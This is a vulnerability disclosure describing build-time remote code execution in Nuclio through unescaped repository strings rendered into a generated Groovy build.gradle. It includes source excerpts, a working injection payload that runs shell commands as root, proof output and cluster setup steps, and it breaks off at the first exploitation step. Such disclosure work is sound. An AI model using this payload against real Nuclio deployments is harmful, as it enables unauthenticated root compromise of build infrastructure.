Nuclio: Unsanitized runtimeAttributes.repositories injected into Groovy build.gradle leads to build-time RCE
漏洞描述
## Summary Nuclio's Java runtime generates a `build.gradle` file during function builds using Go's `text/template` package. The template renders `runtimeAttributes.repositories[]` values with the `{{ . }}` action, which performs no escaping. An attacker can embed a closing brace (`}`) to break out of the `repositories {}` block and append arbitrary Groovy statements that execute unconditionally during the Gradle configuration phase. The Dashboard API runs with NOP authentication by default, so no credentials are required. The build container runs as root. The injected command output confirmed by dynamic testing: ``` [RCE-PROOF] uid=0(root) gid=0(root) groups=0(root) nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr root BUILD SUCCESSFUL in 512ms ``` - **CWE**: CWE-94 (Improper Control of Generation of Code / Code Injection) - **Affected versions**: Nuclio <= 1.15.27 (latest as of 2026-05-17, dynamically verified) --- ## Details ### Root Cause `pkg/processor/build/runtime/java/runtime.go` — function `createGradleBuildScript()` **Step 1. User input flows from the API into the template data map without validation** `types.go:50-64` — `newBuildAttributes()` decodes `runtimeAttributes` with no content inspection. Any string is accepted for each element of `Repositories`: ```go // pkg/processor/build/runtime/java/types.go:50-64 func newBuildAttributes(encodedBuildAttributes map[string]interface{}) (*buildAttributes, error) { newBuildAttributes := buildAttributes{} if err := mapstructure.Decode(encodedBuildAttributes, &newBuildAttributes); err != nil { return nil, errors.Wrap(err, "Failed to decode build attributes") } if len(newBuildAttributes.Repositories) == 0 { newBuildAttributes.Repositories = []string{"mavenCentral()"} } return &newBuildAttributes, nil // no validation of repository string contents } ``` **Step 2. `text/template` renders repositories verbatim into Groovy DSL** `runtime.go:111,139` — the template is parsed with `text/template`, which does not HTML-encode or escape special characters. `{{ . }}` emits each repository string as-is: ```go // runtime.go:111 gradleBuildScriptTemplate, err := template.New("gradleBuildScript").Parse(j.getGradleBuildScriptTemplateContents()) // runtime.go:139 err = gradleBuildScriptTemplate.Execute(io.MultiWriter(&gradleBuildScriptTemplateBuffer, buildFile), data) ``` The template section for repositories (`runtime.go:155-159`): ``` repositories { {{ range .Repositories }} {{ . }} {{ end }} } ``` `{{ . }}` is the verbatim output action. Because `text/template` (unlike `html/template`) applies no contextual escaping, any character — including `}`, `(`, `)`, newlines — is written directly to the `.gradle` file. **Step 3. Gradle evaluates the injected Groovy at configuration phase** The generated `build.gradle` is passed to `./build-user-handler.sh` inside the `quay.io/nuclio/handler-builder-java-onbuild` container. That script runs: ```sh gradle tasks # configuration phase: top-level Groovy runs gradle userHandler # configuration phase: top-level Groovy runs again ``` Groovy evaluates every top-level statement in `build.gradle` before executing any task. Injected code therefore runs unconditionally on both invocations. ### Injection Mechanics Payload for `repositories[0]`: ``` mavenCentral() } println('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text) repositories { ``` Generated `build.gradle` (confirmed by Dashboard DEBUG log at path `/tmp/nuclio-build-378373988/staging/handler/build.gradle`): ```groovy plugins { id 'com.github.johnrengelman.shadow' version '5.2.0' id 'java' } repositories { mavenCentral() } println('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text) repositories { } dependencies { compile files('./nuclio-sdk-java-1.1.0.jar') } shadowJar { baseName = 'user-handler' classifier = null } task userHandler(dependsOn: shadowJar) ``` The `}` on line 9 closes the `repositories {}` block. `println(...)` on line 10 becomes a top-level Groovy statement. `repositories {` on line 11 re-opens a new block that the template's trailing `}` correctly closes, making the entire file syntactically valid. Groovy's `List.execute()` extension method (e.g., `['sh', '-c', 'cmd'].execute()`) runs an OS process. `.text` captures its standard output. The injected `println` logs the output to Gradle's stdout, which appears in the kaniko executor log. --- ## Proof of Concept ### Environment Setup The following steps reproduce the verified environment. All commands were executed and verified on 2026-05-17. #### 1. Create a dedicated kind cluster ```bash cat > /tmp/kind-vul006.yaml <<'EOF' kind: Cluster apiVersion: kind.x-k8s.io/v1alpha4 nodes: - role: control-plane extraPortMappings: - containerPort: 8070 hostPort: 8070 protocol: TCP - role: worker EOF kind create cluster --name vul-006 --config /tmp/kind-vul006.yaml ``` Expected output: ``` Creating cluster "vul-006" ... ✓ Ensuring node image (kindest/node:v1.27.3) ✓ Preparing nodes ✓ Writing configuration ✓ Starting control-plane ✓ Installing CNI ✓ Installing StorageClass ✓ Joining worker nodes Set kubectl context to "kind-vul-006" ``` #### 2. Pre-load required images ```bash # Pull images on host docker pull quay.io/nuclio/dashboard:1.15.27-amd64 docker pull quay.io/nuclio/controller:1.15.27-amd64 docker pull gcr.io/kaniko-project/executor:v1.23.2 docker pull quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64 # Load into kind cluster kind load docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-006 kind load docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-006 kind load docker-image gcr.io/kaniko-project/executor:v1.23.2 --name vul-006 kind load docker-image quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64 --name vul-006 ``` #### 3. Deploy a local image registry accessible from kind nodes ```bash # Start registry (reuse existing if present) docker run -d --name kind-registry --restart=always \ --network kind -p 127.0.0.1:5001:5000 registry:2 # Verify kind nodes can reach it REGISTRY_IP=$(docker inspect kind-registry \ --format '{{(index .NetworkSettings.Networks "kind").IPAddress}}') docker exec vul-006-control-plane curl -s http://${REGISTRY_IP}:5000/v2/ # Expected: {} ``` #### 4. Install Nuclio via Helm ```bash kubectl --context kind-vul-006 create namespace nuclio cat > /tmp/nuclio-values.yaml <<'EOF' dashboard: enabled: true containerBuilderKind: "kaniko" monitorDockerDeamon: enabled: false image: pullPolicy: IfNotPresent kaniko: insecurePushRegistry: true insecurePullRegistry: true initContainerImage: busybox: repository: gcr.io/iguazio/alpine # substitute for busybox if Docker Hub rate-limited tag: "3.20" registry: pushPullUrl: "kind-registry:5000" controller: enabled: true image: pullPolicy: IfNotPresent rbac: create: true crdAccessMode: cluster EOF helm install nuclio ./hack/k8s/helm/nuclio \ --namespace nuclio \ --kube-context kind-vul-006 \ -f /tmp/nuclio-values.yaml \ --wait --timeout 120s ``` Expected output: ``` NAME: nuclio STATUS: deployed REVISION: 1 ``` #### 5. Expose the Dashboard and verify connectivity ```bash kubectl --context kind-vul-006 port-forward \ -n nuclio svc/nuclio-dashboard 8070:8070 & # Wait for readiness sleep 5 curl -s http://localhost:8070/api/functions -o /dev/null -w "HTTP %{http_code}\n" # Expected: HTTP 200 # Create the default project required by the API curl -s -X POST http://localhost:8070/api/projects \ -H "Content-Type: application/json" \ -d '{"metadata":{"name":"default","namespace":"nuclio"},"spec":{}}' ``` ### Exploitation Steps #### Step 1 — Send the malicious function definition The `runtimeAttributes.repositories` field accepts any string. Use Python to build a correctly escaped